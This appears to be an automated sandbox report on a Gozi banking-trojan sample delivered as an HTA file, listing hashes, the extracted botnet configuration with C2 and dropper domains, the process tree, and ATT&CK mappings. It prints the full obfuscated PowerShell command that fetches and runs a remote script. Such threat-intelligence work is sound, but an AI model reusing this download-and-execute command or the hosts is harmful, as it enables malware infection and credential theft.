gozi | c148a90c12cc2c6664e074799c4a19ad28bdd2c47e3f0bf7c553dbecf89bf8fc

General

Target

4380de3cba18880ef72d2bc73ec84ee6f9f27b55d635a81ab8d40d488f59303d.hta
Size

22KB
MD5

57d3eb665f1e9e6a19f278baabd49e7b
SHA1

44566a9d716e6abd0304544dd88d245fea990882
SHA256

4380de3cba18880ef72d2bc73ec84ee6f9f27b55d635a81ab8d40d488f59303d
SHA512

30a0a3349aa0b815728abdb0c770d65354cdcf68ca939de4c175bdb285e3d664d7afdddc4be91bae170a65e4f808e6de7cc877fa36442f64f7b7db993e83851d
SSDEEP

384:rO6BO5aa8mOFhyS1q5H8qxAt4VFhmqmfW9PW6vN1v35Zh5LaBY5E6bqBdOfF:4zS0kPWVN5LbtcOfF

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://communicalink.com/index.php

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1320 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

VzfbnMZ.exe

pid process

2724 VzfbnMZ.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

1320 powershell.exe
1320 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1320 powershell.exe
1320 powershell.exe
1320 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1320 powershell.exe

flow	pid	process
5	1320	powershell.exe

pid	process
2724	VzfbnMZ.exe

pid	process
1320	powershell.exe
1320	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1320	powershell.exe
1320	powershell.exe
1320	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1320	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

mshta.execmd.exepowershell.exe

description	pid	process	target process
PID 2440 wrote to memory of 2596	2440	mshta.exe	cmd.exe
PID 2440 wrote to memory of 2596	2440	mshta.exe	cmd.exe
PID 2440 wrote to memory of 2596	2440	mshta.exe	cmd.exe
PID 2440 wrote to memory of 2596	2440	mshta.exe	cmd.exe
PID 2596 wrote to memory of 1320	2596	cmd.exe	powershell.exe
PID 2596 wrote to memory of 1320	2596	cmd.exe	powershell.exe
PID 2596 wrote to memory of 1320	2596	cmd.exe	powershell.exe
PID 2596 wrote to memory of 1320	2596	cmd.exe	powershell.exe
PID 1320 wrote to memory of 2724	1320	powershell.exe	VzfbnMZ.exe
PID 1320 wrote to memory of 2724	1320	powershell.exe	VzfbnMZ.exe
PID 1320 wrote to memory of 2724	1320	powershell.exe	VzfbnMZ.exe
PID 1320 wrote to memory of 2724	1320	powershell.exe	VzfbnMZ.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4380de3cba18880ef72d2bc73ec84ee6f9f27b55d635a81ab8d40d488f59303d.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
2⤵
- Suspicious use of WriteProcessMemory
PID:2596

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1320

C:\Users\Admin\AppData\Local\Temp\VzfbnMZ.exe
"C:\Users\Admin\AppData\Local\Temp\VzfbnMZ.exe"
4⤵
- Executes dropped EXE
PID:2724

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\VzfbnMZ.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
C:\Users\Admin\AppData\Local\Temp\VzfbnMZ.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
\Users\Admin\AppData\Local\Temp\VzfbnMZ.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
\Users\Admin\AppData\Local\Temp\VzfbnMZ.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
memory/1320-24-0x0000000071DD0000-0x000000007237B000-memory.dmp

Filesize
5.7MB

Download
memory/1320-14-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/1320-13-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/1320-12-0x0000000071DD0000-0x000000007237B000-memory.dmp

Filesize
5.7MB

Download
memory/1320-10-0x0000000071DD0000-0x000000007237B000-memory.dmp

Filesize
5.7MB

Download
memory/2724-26-0x0000000002380000-0x0000000002480000-memory.dmp

Filesize
1024KB

Download
memory/2724-27-0x0000000000220000-0x000000000022B000-memory.dmp

Filesize
44KB

Download
memory/2724-28-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/2724-29-0x0000000000290000-0x000000000029D000-memory.dmp

Filesize
52KB

Download
memory/2724-32-0x0000000002380000-0x0000000002480000-memory.dmp

Filesize
1024KB

Download
memory/2724-33-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/2724-34-0x0000000000220000-0x000000000022B000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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